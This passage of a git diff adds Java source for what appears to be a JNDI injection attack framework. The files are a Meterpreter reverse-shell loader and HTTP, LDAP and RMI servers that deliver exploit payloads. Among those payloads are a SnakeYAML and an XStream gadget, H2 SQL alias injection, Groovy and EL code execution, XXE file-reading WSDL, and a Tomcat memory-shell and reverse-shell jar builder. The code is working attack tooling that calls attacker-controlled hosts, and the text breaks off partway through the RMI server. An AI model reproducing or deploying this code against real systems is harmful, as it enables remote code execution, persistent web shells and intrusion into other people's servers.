this.get("host"); + this.port = this.get("port"); + } catch (Exception e) { + return false; + } + return true; + } + + public void getShell() throws Exception { + InputStream inputStream1 = null; + OutputStream outputStream = null; + int j = new Integer(this.port); + String str4 = this.host; + Socket socket = null; + if (str4 != null) { + socket = new Socket(str4, j); + } + inputStream1 = socket.getInputStream(); + outputStream = socket.getOutputStream(); + new Meterpreter().bootstrap(inputStream1, outputStream); + } + + private final void bootstrap(InputStream paramInputStream, OutputStream paramOutputStream) throws Exception { + try { + Class clazz; + DataInputStream dataInputStream = new DataInputStream(paramInputStream); + int i = dataInputStream.readInt(); + do { + byte[] arrayOfByte = new byte[i]; + dataInputStream.readFully(arrayOfByte); + clazz = this.defineClass(null, arrayOfByte, 0, i); + this.resolveClass(clazz); + } while ((i = dataInputStream.readInt()) > 0); + Object object = clazz.newInstance(); + Class[] classArray = new Class[3]; + Class clazz2 = class$0; + if (clazz2 == null) { + try { + clazz2 = class$0 = Class.forName("java.io.DataInputStream"); + } catch (ClassNotFoundException classNotFoundException) { + throw new NoClassDefFoundError(classNotFoundException.getMessage()); + } + } + classArray[0] = clazz2; + Class clazz3 = class$1; + if (clazz3 == null) { + try { + clazz3 = class$1 = Class.forName("java.io.OutputStream"); + } catch (ClassNotFoundException classNotFoundException) { + throw new NoClassDefFoundError(classNotFoundException.getMessage()); + } + } + classArray[1] = clazz3; + Class clazz4 = class$2; + if (clazz4 == null) { + try { + clazz4 = class$2 = Class.forName("[Ljava.lang.String;"); + } catch (ClassNotFoundException classNotFoundException) { + throw new NoClassDefFoundError(classNotFoundException.getMessage()); + } + } + classArray[2] = clazz4; + clazz.getMethod("start", classArray).invoke(object, dataInputStream, paramOutputStream, new String[]{"", ""}); + } catch (Throwable throwable) { + // empty catch block + } + } + + public void run() { + try { + this.getShell(); + } catch (Exception exception) { + System.out.println(exception); + // empty catch block + } + } + + public String get(String key) { + try { + return new String((byte[]) this.parameterMap.get(key)); + } catch (Exception e) { + return null; + } + } +} diff --git a/src/main/java/com/qi4l/jndi/HTTPServer.java b/src/main/java/com/qi4l/jndi/HTTPServer.java new file mode 100644 index 0000000..068e644 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/HTTPServer.java @@ -0,0 +1,604 @@ +package com.qi4l.jndi; + +import cn.hutool.core.io.file.FileReader; +import com.qi4l.jndi.gadgets.Config.Config; +import com.qi4l.jndi.gadgets.utils.Cache; +import com.qi4l.jndi.gadgets.utils.Util; +import com.qi4l.jndi.template.CommandTemplate; +import com.qi4l.jndi.template.DnslogTemplate; +import com.qi4l.jndi.template.ReverseShellTemplate; +import com.sun.net.httpserver.HttpExchange; +import com.sun.net.httpserver.HttpHandler; +import com.sun.net.httpserver.HttpServer; +import javassist.ClassPool; +import javassist.CtClass; +import org.apache.commons.lang3.reflect.FieldUtils; + +import java.io.ByteArrayOutputStream; +import java.io.File; +import java.io.FileInputStream; +import java.io.IOException; +import java.net.InetSocketAddress; +import java.nio.charset.StandardCharsets; +import java.util.HashMap; +import java.util.Map; +import java.util.jar.JarOutputStream; +import java.util.zip.ZipEntry; + +import static org.fusesource.jansi.Ansi.ansi; + +public class HTTPServer { + //获取根目录路径 + public static String cwd = System.getProperty("user.dir"); + + public static void start() throws IOException { + + HttpServer httpServer = HttpServer.create(new InetSocketAddress(Config.httpPort), 0); + httpServer.createContext("/", new HttpHandler() { + @Override + public void handle(HttpExchange httpExchange) { + try { + System.out.println(ansi().render("@|green [+]|@ New HTTP Request From >>" + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI())); + + String qi = String.valueOf(httpExchange.getRequestURI()); + if (qi.contains("setPathAlias")) { + Config.BCEL1 = qi.substring(qi.indexOf("=") + 1); + System.out.println(ansi().render("@|green [+]|@ 获取参数成功 >> " + Config.BCEL1)); + } else if (qi.contains("setRoute")) { + Config.ROUTE = qi.substring(qi.indexOf("=") + 1); + System.out.println(ansi().render("@|green [+]|@ 获取路由成功 >> " + Config.ROUTE)); + } + String path = httpExchange.getRequestURI().getPath(); + if (path.endsWith(".class")) { + handleClassRequest(httpExchange); + } else if (path.endsWith(".wsdl")) { + handleWSDLRequest(httpExchange); + } else if (path.endsWith(".jar")) { + handleJarRequest(httpExchange); + } else if (path.startsWith("/xxelog")) { + handleXXELogRequest(httpExchange); + } else if (path.endsWith(".sql")) { + handleSQLRequest(httpExchange); + } else if (path.endsWith(".groovy")) { + handlerGroovyRequest(httpExchange); + } else if (path.endsWith(".xml")) { + handleXMLRequest(httpExchange); + } else if (path.endsWith(".txt")) { + handleTXTRequest(httpExchange); + } else if (path.endsWith(".yml")) { + handleYmlRequest(httpExchange); + } else { + handleFileRequest(httpExchange); + } + } catch (Exception e) { + e.printStackTrace(); + } + } + }); + + httpServer.setExecutor(null); + httpServer.start(); + System.out.println(ansi().render("@|green [+]|@ HTTP Server Start Listening on >>" + Config.httpPort + "...")); + } + + private static void handleFileRequest(HttpExchange exchange) throws Exception { + System.out.println("[-] 请求的后缀不对"); + String path = exchange.getRequestURI().getPath(); + String filename = cwd + File.separator + "data" + File.separator + path.substring(path.lastIndexOf("/") + 1); + File file = new File(filename); + if (file.exists()) { + byte[] bytes = new byte[(int) file.length()]; + FileInputStream fileInputStream = new FileInputStream(file); + fileInputStream.read(bytes); + exchange.sendResponseHeaders(200, file.length() + 1); + exchange.getResponseBody().write(bytes); + } else { + System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); + exchange.sendResponseHeaders(404, 0); + } + exchange.close(); + + } + + private static void handleYmlRequest(HttpExchange exchange) throws IOException { + String path = exchange.getRequestURI().getPath(); +// String host = exchange.getRequestURI().getHost(); + String YamlName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf(".")); + String bytes = "!!javax.script.ScriptEngineManager [\n" + + " !!java.net.URLClassLoader [[\n" + + " !!java.net.URL [\"http://" + Config.ip + ":" + Config.httpPort + "/behinder3.jar\"]\n" + + " ]]\n" + + "]\n"; + + if (YamlName.equalsIgnoreCase("snake")) { + System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); +// exchange.getResponseHeaders().set("Content-type","application/octet-stream"); + exchange.sendResponseHeaders(200, bytes.getBytes().length + 1); +// exchange.sendResponseHeaders(200, yaml.getObject().length + 1); + exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8)); +// exchange.getResponseBody().write(yaml.getObject("UTF-8")); + } else { + String pa = cwd + File.separator + "data"; + File file = new File(pa + File.separator + YamlName + ".yml"); + if (file.exists()) { + byte[] bytes1 = new byte[(int) file.length()]; + try (FileInputStream fileInputStream = new FileInputStream(file)) { + fileInputStream.read(bytes1); + } + exchange.getResponseHeaders().set("Content-type", "application/octet-stream"); + exchange.sendResponseHeaders(200, file.length() + 1); + exchange.getResponseBody().write(bytes1); + } else { + System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); + exchange.sendResponseHeaders(404, 0); + } + + } + exchange.close(); + } + + public static void handleTXTRequest(HttpExchange exchange) throws IOException { + String path = exchange.getRequestURI().getPath(); + String txtname = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf(".")); + if (txtname.equalsIgnoreCase("isok")) { + System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); + byte[] bytes = "success!".getBytes(); + exchange.getResponseHeaders().set("Content-type", "application/octet-stream"); + exchange.sendResponseHeaders(200, bytes.length + 1); + exchange.getResponseBody().write(bytes); + } else { + String pa = cwd + File.separator + "data"; + File file = new File(pa + File.separator + txtname + ".txt"); + + if (file.exists()) { + + byte[] bytes1 = new byte[(int) file.length()]; + try (FileInputStream fileInputStream = new FileInputStream(file)) { + fileInputStream.read(bytes1); + } + exchange.getResponseHeaders().set("Content-type", "application/octet-stream"); + exchange.sendResponseHeaders(200, file.length() + 1); + exchange.getResponseBody().write(bytes1); + } else { + System.out.println(ansi().render("@|red [!] Response Code: @|" + 404)); + exchange.sendResponseHeaders(404, 0); + } + } + exchange.close(); + } + + public static void handleXMLRequest(HttpExchange exchange) throws IOException { + String path = exchange.getRequestURI().getPath(); +// String host = exchange.getRequestURI().getHost(); + String xmlName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf(".")); + String bytes = "\n \n"; + String xstream = "\n" + + " \n" + + " 0\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " false\n" + + " 0\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " 1008\n" + + " true\n" + + " 1000\n" + + " 0\n" + + " 2\n" + + " 0\n" + + " 0\n" + + " 0\n" + + " true\n" + + " 1004\n" + + " false\n" + + " ldap://" + Config.ip + ":1389/basic/TomcatMemShell3\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " -1\n" + + " -1\n" + + " -1\n" + + " -1\n" + + " -1\n" + + " -1\n" + + " -1\n" + + " -1\n" + + " -1\n" + + " -1\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " com.sun.rowset.JdbcRowSetImpl\n" + + " getDatabaseMetaData\n" + + " \n" + + " \n" + + " foo\n" + + " \n" + + " foo\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " false\n" + + " 0\n" + + " 0\n" + + " false\n" + + " \n" + + " false\n" + + " \n" + + " \n" + + " \n" + + " 0\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + ""; + + if (xmlName.equals("a")) { + System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); + + + exchange.sendResponseHeaders(200, bytes.getBytes().length + 1); + exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8)); + } else if (xmlName.equals("x")) { + System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); + exchange.getResponseHeaders().add("Content-Type", "application/xml; charset=utf-8"); + exchange.sendResponseHeaders(200, xstream.getBytes().length + 1); + exchange.getResponseBody().write(xstream.getBytes(StandardCharsets.UTF_8)); + + } else { + String pa = cwd + File.separator + "data"; + File file = new File(pa + File.separator + xmlName + ".xml"); + + if (file.exists()) { + byte[] bytes1 = new byte[(int) file.length()]; + try (FileInputStream fileInputStream = new FileInputStream(file)) { + fileInputStream.read(bytes1); + } + exchange.getResponseHeaders().add("Content-Type", "application/xml; charset=utf-8"); +// exchange.getResponseHeaders().set("Content-type","application/octet-stream"); + exchange.sendResponseHeaders(200, file.length() + 1); + exchange.getResponseBody().write(bytes1); + } else { + System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); + exchange.sendResponseHeaders(404, 0); + } + + } + exchange.close(); + + } + + public static void handleSQLRequest(HttpExchange exchange) throws IOException { + String path = exchange.getRequestURI().getPath(); + String host = exchange.getRequestURI().getHost(); + String sqlName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf(".")); + + if (sqlName.equalsIgnoreCase("echo")) { + System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); + + String name = String.valueOf(System.nanoTime()); + String bytes = "CREATE ALIAS " + name + " AS CONCAT('void ex()throws Exception" + + "{Object o = com.sun.rowset.JdbcRowSetImpl();',' o.setDataSourceName(\"ldap://" + host + ":1389/TomcatBypass/TomcatEcho\");',' 'o.setAutoCommit(\"true\");,'}');" + + "CALL " + name + "();\"}"; + exchange.sendResponseHeaders(200, bytes.getBytes().length + 1); + exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8)); + } else if (sqlName.equalsIgnoreCase("inject")) { + System.out.println("@|green Response Code: |@" + 200); + + String name = String.valueOf(System.nanoTime()); + String bytes = "CREATE ALIAS " + name + " AS CONCAT('void ex()throws Exception" + + "{Object o = com.sun.rowset.JdbcRowSetImpl();',' o.setDataSourceName(\"ldap:// + host + :1389/inject.class\");',' 'o.setAutoCommit(\"true\");,'}');" + + "CALL " + name + "();\"}"; + exchange.sendResponseHeaders(200, bytes.getBytes().length + 1); + exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8)); + + } else { + + String pa = cwd + File.separator + "data"; + File file = new File(pa + File.separator + sqlName + ".sql"); + + if (file.exists()) { + byte[] bytes = new byte[(int) file.length()]; + try (FileInputStream fileInputStream = new FileInputStream(file)) { + fileInputStream.read(bytes); + } +// exchange.getResponseHeaders().set("Content-type","application/octet-stream"); + exchange.sendResponseHeaders(200, file.length() + 1); + exchange.getResponseBody().write(bytes); + } else { + System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); + exchange.sendResponseHeaders(404, 0); + } + } + exchange.close(); + } + + public static void handlerGroovyRequest(HttpExchange exchange) throws IOException { + String path = exchange.getRequestURI().getPath(); + String host = exchange.getRequestURI().getHost(); + String exp = "/TomcatBypass/TomcatEcho"; + String groovyName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf(".")); + + if (groovyName.equalsIgnoreCase("groovyecho")) { + System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); + + String bytes = "class demo {\n" + + " static void main(){\n" + + " com.sun.rowset.JdbcRowSetImpl o = new com.sun.rowset.JdbcRowSetImpl();\n" + + " o.setDataSourceName(\"ldap://" + host + ":1389" + exp + "\");\n" + + " o.setAutoCommit(true);\n" + + " }\n" + + "}\n"; + + exchange.sendResponseHeaders(200, bytes.getBytes().length + 1); + exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8)); + + } else { + String pa = cwd + File.separator + "data"; + File file = new File(pa + File.separator + groovyName + ".groovy"); + + if (file.exists()) { + byte[] bytes = new byte[(int) file.length()]; + try (FileInputStream fileInputStream = new FileInputStream(file)) { + fileInputStream.read(bytes); + } +// exchange.getResponseHeaders().set("Content-type","application/octet-stream"); + exchange.sendResponseHeaders(200, file.length() + 1); + exchange.getResponseBody().write(bytes); + } else { + System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); + exchange.sendResponseHeaders(404, 0); + } + + } + exchange.close(); + + } + + public static void handleXXELogRequest(HttpExchange exchange) throws IllegalAccessException, IOException { + Object exchangeImpl = FieldUtils.readField(exchange, "impl", true); + Object request = FieldUtils.readField(exchangeImpl, "req", true); + String startLine = (String) FieldUtils.readField(request, "startLine", true); + + System.out.println(ansi().render("@|green [+] XXE Attack Result: |@" + startLine)); + exchange.sendResponseHeaders(200, 0); + exchange.close(); + } + + private static void handleJarRequest(HttpExchange exchange) throws IOException { + String path = exchange.getRequestURI().getPath(); + String jarName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf(".")); + + if (jarName.equalsIgnoreCase("behinder3")) { + byte[] bytes; + String filename = cwd + File.separator + "data" + File.separator + "behinder3.jar"; + FileReader fileReader = new FileReader(filename, "UTF-8"); + bytes = fileReader.readBytes(); + exchange.sendResponseHeaders(200, bytes.length + 1); + exchange.getResponseBody().write(bytes); + } else { + + String filename = cwd + File.separator + "data" + File.separator + jarName + ".jar"; + File file = new File(filename); + if (file.exists()) { + byte[] bytes; + FileReader fileReader = new FileReader(filename, "UTF-8"); + bytes = fileReader.readBytes(); + exchange.sendResponseHeaders(200, bytes.length + 1); + exchange.getResponseBody().write(bytes); + } else { + System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); + exchange.sendResponseHeaders(404, 0); + } + + } + exchange.close(); + + + } + + private static void handleClassRequest(HttpExchange exchange) throws IOException { + String path = exchange.getRequestURI().getPath(); + String className = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf(".")); + System.out.println(ansi().render("@|green [+] Receive ClassRequest: |@" + className + ".class")); + + if (Cache.contains(className)) { + System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); + + byte[] bytes = Cache.get(className); + exchange.sendResponseHeaders(200, bytes.length); + //这一步返回http请求 + exchange.getResponseBody().write(bytes); + } else {//找不到就从/org目录下照 + //String pa = cwd + File.separator + "org"; + String pa = cwd + path; + File file = new File(pa); + + if (file.exists()) { + byte[] bytes = new byte[(int) file.length()]; + try (FileInputStream fileInputStream = new FileInputStream(file)) { + fileInputStream.read(bytes); + } + exchange.getResponseHeaders().set("Content-type", "application/octet-stream"); + exchange.sendResponseHeaders(200, file.length() + 1); + exchange.getResponseBody().write(bytes); + System.out.println(ansi().render("@|green [+] 内存马远程类加载成功 |@" + 200)); + } else { + System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); + exchange.sendResponseHeaders(404, 0); + } + } + exchange.close(); + } + + private static void handleWSDLRequest(HttpExchange exchange) throws Exception { + String query = exchange.getRequestURI().getQuery(); + Map params = parseQuery(query); + + String path = exchange.getRequestURI().getPath().substring(1); + + if (path.startsWith("list")) { + //intended to list directories or read files on server + String file = params.get("file"); + if (file != null && !file.isEmpty()) { + String listWsdl = "" + + "\n" + + " \n" + + " %bbb;\n" + + "]>\n" + + "\n" + + " &ddd;\n" + + ""; + + System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); + exchange.sendResponseHeaders(200, listWsdl.getBytes().length); + exchange.getResponseBody().write(listWsdl.getBytes()); + } else { + System.out.println(ansi().render("@|red [!] Missing or wrong argument|@")); + System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); + exchange.sendResponseHeaders(404, 0); + } + exchange.close(); + + } else if (path.startsWith("upload")) { + String type = params.get("type"); + + String[] args = null; + if (type.equalsIgnoreCase("command")) { + args = new String[]{params.get("cmd")}; + } else if (type.equalsIgnoreCase("dnslog")) { + args = new String[]{params.get("url")}; + } else if (type.equalsIgnoreCase("reverseshell")) { + args = new String[]{params.get("ip"), params.get("port")}; + } + + String jarName = createJar(type, args); + if (jarName != null) { + String uploadWsdl = ""; + + System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); + exchange.sendResponseHeaders(200, uploadWsdl.getBytes().length); + exchange.getResponseBody().write(uploadWsdl.getBytes()); + } else { + System.out.println(ansi().render("@|red [!] Missing or wrong argument|@")); + System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); + exchange.sendResponseHeaders(404, 0); + } + exchange.close(); + } else if (path.startsWith("http")) { + String xxhttp = "'>'>%ccc;"; + System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); + exchange.sendResponseHeaders(200, xxhttp.getBytes().length); + exchange.getResponseBody().write(xxhttp.getBytes()); + exchange.close(); + } else { + System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); + exchange.sendResponseHeaders(404, 0); + exchange.close(); + } + } + + private static Map parseQuery(String query) { + Map params = new HashMap<>(); + + try { + for (String str : query.split("&")) { + try { + String[] parts = str.split("=", 2); + params.put(parts[0], parts[1]); + } catch (Exception e) { + //continue + } + } + } catch (Exception e) { + //continue + } + + return params; + } + + /* + 由于我本地安装的 Websphere 在加载本地 classpath 这一步复现不成功 + 这里不确定 websphere 这种方式在多次操作时 Class 文件名相同时是否会存在问题 + 目前暂时认为其不会有问题,如果有问题,后面再修改 + */ + private static String createJar(String type, String... params) throws Exception { + byte[] bytes; + String className = "xExportObject"; + + switch (type.toLowerCase()) { + case "command": + CommandTemplate commandTemplate = new CommandTemplate(params[0], "xExportObject"); + bytes = commandTemplate.getBytes(); + break; + case "dnslog": + DnslogTemplate dnslogTemplate = new DnslogTemplate(params[0], "xExportObject"); + bytes = dnslogTemplate.getBytes(); + break; + case "reverseshell": + ReverseShellTemplate reverseShellTemplate = new ReverseShellTemplate(params[0], params[1], "xExportObject"); + bytes = reverseShellTemplate.getBytes(); + break; + case "webspherememshell": + ClassPool classPool = ClassPool.getDefault(); + CtClass exploitClass = classPool.get("com.feihong.ldap.template.WebsphereMemshellTemplate"); + exploitClass.setName(className); + exploitClass.detach(); + bytes = exploitClass.toBytecode(); + break; + default: + return null; + } + + System.out.println(ansi().render("@|green [+] Name of Class in Jar: |@" + className)); + ByteArrayOutputStream bout = new ByteArrayOutputStream(); + JarOutputStream jarOut = new JarOutputStream(bout); + jarOut.putNextEntry(new ZipEntry(className + ".class")); + jarOut.write(bytes); + jarOut.closeEntry(); + jarOut.close(); + bout.close(); + + String jarName = Util.getRandomString(); + Cache.set(jarName, bout.toByteArray()); + + return jarName; + } +} \ No newline at end of file diff --git a/src/main/java/com/qi4l/jndi/LdapServer.java b/src/main/java/com/qi4l/jndi/LdapServer.java new file mode 100644 index 0000000..3d3e5a5 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/LdapServer.java @@ -0,0 +1,127 @@ +package com.qi4l.jndi; + +import com.qi4l.jndi.controllers.LdapController; +import com.qi4l.jndi.controllers.LdapMapping; +import com.qi4l.jndi.controllers.utils.AESUtils; +import com.qi4l.jndi.gadgets.Config.Config; +import com.unboundid.ldap.listener.InMemoryDirectoryServer; +import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; +import com.unboundid.ldap.listener.InMemoryListenerConfig; +import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; +import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; +import org.reflections.Reflections; + +import javax.net.ServerSocketFactory; +import javax.net.SocketFactory; +import javax.net.ssl.SSLSocketFactory; +import java.lang.reflect.Constructor; +import java.net.InetAddress; +import java.util.Set; +import java.util.TreeMap; + +import static com.qi4l.jndi.gadgets.Config.Config.*; +import static com.qi4l.jndi.gadgets.utils.Utils.base64Decode; +import static org.fusesource.jansi.Ansi.ansi; + + +public class LdapServer extends InMemoryOperationInterceptor { + + public static TreeMap routes = new TreeMap<>(); + + public LdapServer() throws Exception { + + //find all classes annotated with @LdapMapping + Set> controllers = new Reflections(this.getClass().getPackage().getName()) + .getTypesAnnotatedWith(LdapMapping.class); + + //instantiate them and store in the routes map + for (Class controller : controllers) { + Constructor cons = controller.getConstructor(); + LdapController instance = (LdapController) cons.newInstance(); + String[] mappings = controller.getAnnotation(LdapMapping.class).uri(); + for (String mapping : mappings) { + if (mapping.startsWith("/")) { + mapping = mapping.substring(1); //remove first forward slash + routes.put(mapping, instance); + } + } + } + } + + public static void start() { + try { + InMemoryDirectoryServerConfig serverConfig = new InMemoryDirectoryServerConfig("dc=example,dc=com"); + serverConfig.setListenerConfigs(new InMemoryListenerConfig( + "listen", + InetAddress.getByName("0.0.0.0"), + Config.ldapPort, + ServerSocketFactory.getDefault(), + SocketFactory.getDefault(), + (SSLSocketFactory) SSLSocketFactory.getDefault())); + if (!USER.equals("") || !PASSWD.equals("")) { + serverConfig.addAdditionalBindCredentials(USER, PASSWD); + } + + //添加操作拦截器 + //将提供的操作拦截器添加到操作拦截器列表中,该列表可用于在请求被内存目录服务器处理之前转换请求,和/或在响应返回给客户端之前转换响应。 + serverConfig.addInMemoryOperationInterceptor(new LdapServer()); + InMemoryDirectoryServer ds = new InMemoryDirectoryServer(serverConfig); + ds.startListening(); + System.out.println(ansi().render("@|green [+]|@ LDAP Server Start Listening on >>" + Config.ldapPort + "...")); + } catch (Exception e) { + e.printStackTrace(); + } + } + + /** + * {@inheritDoc} + * + * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult) + * 关键在这个类里进行了处理 + * 官方说明:在提供的搜索结果返回给客户端之前,调用应该对其执行的任何处理。 + */ + @Override + public void processSearchResult(InMemoryInterceptedSearchResult result) { + String base; + if (!ROUTE.equals("")) { + base = ROUTE; + } else { + base = result.getRequest().getBaseDN(); + } + try { + if (!AESkey.equals("123")) { + base = base64Decode(base); + base = AESUtils.decrypt(base, AESkey); + } + } catch (Exception AESerr) { + + } + + //收到ldap请求 + System.out.println(ansi().render("@|green [+] Received LDAP Query : |@" + base)); + LdapController controller = null; + //find controller + //根据请求的路径从route中匹配相应的controller + for (String key : routes.keySet()) { + //compare using wildcard at the end + if (base.toLowerCase().startsWith(key)) { + controller = routes.get(key); + break; + } + } + + + if (controller == null) { + System.out.println(ansi().render("@|red [!] Invalid LDAP Query >> |@" + base)); + return; + } + + try { + //从控制器中进行返回 + controller.process(base); + controller.sendResult(result, base); + } catch (Exception e1) { + System.out.println(ansi().render("@|red [!] Exception >> |@" + e1.getMessage())); + } + } +} \ No newline at end of file diff --git a/src/main/java/com/qi4l/jndi/RMIServer.java b/src/main/java/com/qi4l/jndi/RMIServer.java new file mode 100644 index 0000000..c27d10f --- /dev/null +++ b/src/main/java/com/qi4l/jndi/RMIServer.java @@ -0,0 +1,349 @@ +package com.qi4l.jndi; + + +import com.qi4l.jndi.gadgets.Config.Config; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.InjShell; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.qi4l.jndi.gadgets.utils.handle.ClassNameHandler; +import com.sun.jndi.rmi.registry.ReferenceWrapper; +import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; +import org.apache.naming.ResourceRef; +import sun.rmi.server.UnicastServerRef; +import sun.rmi.transport.TransportConstants; + +import javax.naming.Reference; +import javax.naming.StringRefAddr; +import javax.net.ServerSocketFactory; +import java.io.*; +import java.lang.reflect.Field; +import java.net.*; +import java.rmi.MarshalException; +import java.rmi.server.ObjID; +import java.rmi.server.RemoteObject; +import java.rmi.server.UID; +import java.util.Arrays; + +import static com.qi4l.jndi.gadgets.Config.Config.*; +import static org.fusesource.jansi.Ansi.ansi; + + +/** + * Generic JRMP listener + *

+ * JRMP Listener that will respond to RMI lookups with a Reference that specifies a remote object factory. + *

+ * This technique was mitigated against by no longer allowing remote codebases in references by default in Java 8u121. + * + * @author mbechler + */ +@SuppressWarnings({ + "restriction" +}) +public class RMIServer extends InMemoryOperationInterceptor implements Runnable { + + private final ServerSocket ss; + private final Object waitLock = new Object(); + private final URL classpathUrl; + private boolean exit; + + + public RMIServer(int port, URL classpathUrl) throws IOException { + this.classpathUrl = classpathUrl; + this.ss = ServerSocketFactory.getDefault().createServerSocket(port); + } + + public static void start() { + String url = "http://" + ip + ":" + rmiPort; + + try { + System.out.println(ansi().render("@|green [+]|@ RMI Server Start Listening on >>" + rmiPort + "...")); + RMIServer c = new RMIServer(rmiPort, new URL(url)); + c.run(); + } catch (Exception e) { + System.err.println("Listener error"); + e.printStackTrace(System.err); + } + } + + public static ResourceRef execByEL() { + + ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); + ref.add(new StringRefAddr("forceString", "x=eval")); + ref.add(new StringRefAddr("x", String.format( + "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(" + + "\"java.lang.Runtime.getRuntime().exec('%s')\"" + + ")", + Config.command + ))); + + return ref; + } + + private static void handleDGC(ObjectInputStream ois) throws IOException, ClassNotFoundException { + ois.readInt(); // method + ois.readLong(); // hash + System.err.println("Is DGC call for " + Arrays.toString((ObjID[]) ois.readObject())); + } + + /** + * + */ + public void close() { + this.exit = true; + try { + this.ss.close(); + } catch (IOException ignored) { + } + synchronized (this.waitLock) { + this.waitLock.notify(); + } + } + + @Override + public void run() { + try { + Socket s = null; + try { + while (!this.exit && (s = this.ss.accept()) != null) { + try { + s.setSoTimeout(5000); + InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress(); + System.err.println("[+] Have connection from " + remote); + + InputStream is = s.getInputStream(); + InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is); + + // Read magic (or HTTP wrapper) + bufIn.mark(4); + try (DataInputStream in = new DataInputStream(bufIn)) { + int magic = in.readInt(); + + short version = in.readShort(); + if (magic != TransportConstants.Magic || version != TransportConstants.Version) { + s.close(); + continue; + } + + OutputStream sockOut = s.getOutputStream(); + BufferedOutputStream bufOut = new BufferedOutputStream(sockOut); + try (DataOutputStream out = new DataOutputStream(bufOut)) { + + byte protocol = in.readByte(); + switch (protocol) { + case TransportConstants.StreamProtocol: + out.writeByte(TransportConstants.ProtocolAck); + if (remote.getHostName() != null) { + out.writeUTF(remote.getHostName()); + } else { + out.writeUTF(remote.getAddress().toString()); + } + out.writeInt(remote.getPort()); + out.flush(); + in.readUTF(); + in.readInt(); + case TransportConstants.SingleOpProtocol: + doMessage(s, in, out); + break; + default: + case TransportConstants.MultiplexProtocol: + System.err.println("Unsupported protocol"); + s.close(); + continue; + } + + bufOut.flush(); + out.flush(); + } + } + } catch (InterruptedException e) { + return; + } catch (Exception e) { + e.printStackTrace(System.err); + } finally { + System.err.println("Closing connection"); + s.close(); + } + + } + + } finally { + if (s != null) { + s.close(); + } + if (this.ss != null) { + this.ss.close(); + } + } + + } catch (SocketException ignored) { + } catch (Exception e) { + e.printStackTrace(System.err); + } + } + + private void doMessage(Socket s, DataInputStream in, DataOutputStream out) throws Exception { + System.err.println("[+] RMI服务器 >> 正在读取信息"); + + int op = in.read(); + + switch (op) { + case TransportConstants.Call: + // service incoming RMI call + doCall(in, out); + break; + + case TransportConstants.Ping: + // send ack for ping + out.writeByte(TransportConstants.PingAck); + break; + + case TransportConstants.DGCAck: + UID.read(in); + break; + + default: + throw new IOException(" RMI 服务器 >> 无法识别:" + op); + } + + s.close(); + } + + private void doCall(DataInputStream in, DataOutputStream out) throws Exception { + ObjectInputStream ois = new ObjectInputStream(in) { + + @Override + protected Class resolveClass(ObjectStreamClass desc) throws IOException { + if ("[Ljava.rmi.server.ObjID;".equals(desc.getName())) { + return ObjID[].class; + } else if ("java.rmi.server.ObjID".equals(desc.getName())) { + return ObjID.class; + } else if ("java.rmi.server.UID".equals(desc.getName())) { + return UID.class; + } else if ("java.lang.String".equals(desc.getName())) { + return String.class; + } + throw new IOException(" RMI 服务器 >> 无法读取 Object"); + } + }; + + ObjID read; + try { + read = ObjID.read(ois); + } catch (java.io.IOException e) { + throw new MarshalException(" RMI 服务器 >> 无法读取 ObjID", e); + } + + if (read.hashCode() == 2) { + // DGC + handleDGC(ois); + } else if (read.hashCode() == 0) 